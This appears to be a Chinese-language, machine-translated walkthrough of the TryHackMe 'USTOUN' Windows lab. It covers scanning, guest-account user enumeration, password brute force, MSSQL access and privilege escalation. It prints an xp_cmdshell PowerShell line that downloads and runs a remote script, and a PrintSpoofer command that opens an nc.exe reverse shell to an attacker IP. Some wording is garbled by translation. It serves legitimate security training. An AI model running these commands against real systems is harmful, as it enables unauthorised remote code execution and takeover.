标签：标志用户演练 USTOUN 我们 TryHackMe

USTOUN TryHackMe 撰写/演练

USTOUN TryHackMe 文章

级别：中 |操作系统：Windows

这是一篇关于乌斯顿试试HackMe 机器。

我们执行快速而积极的扫描（ 不建议在真实环境中使用 ) 来检测服务器上的开放端口。

然后，知道端口后，我们将启动一个带有脚本和版本的 nmap。

我们测试我们是否可以使用匿名用户进行身份验证，我们发现我们不能。

我通常在真实环境中进行的另一项测试是使用 “来宾” 用户，通常默认启用。正如您在证据中看到的，我们可以使用它来获取用户 RID .

我们创建了一个获得的最相关用户的列表并蛮力 “摇滚你” 字典。我们将获得一些凭据。

在不同服务中进行多次测试后，我们发现凭证在 “微软 SQL 服务器” 服务，从这里我们将能够加载反向shell。

xp_cmdshell powershell IEX(New-Object Net.webclient) .downloadString (\”http://10.11.30.149:8000/m3.ps1\”)

我们试图读取用户标志，但我们无权访问。我们检查用户的权限，发现我们可以通过冒充用户来升级 “行政人员” 使用 “自我模拟特权” .

我们确定安装的 Windows 的确切版本。

我们下载 打印欺骗器 从中利用 github ，我们也下载网猫到受害者机器并运行以下命令进行监听网猫在我们的卡利。

.\PrintSpoofer.exe -c “C:\users\SVC-Kerb.DC01\Videos\nc.exe 10.11.30.149 444 -e cmd”

现在我们读取了这两个标志。

标签：标志,用户,演练,USTOUN,我们,TryHackMe
From： https://www.cnblogs.com/amboke/p/16718823.html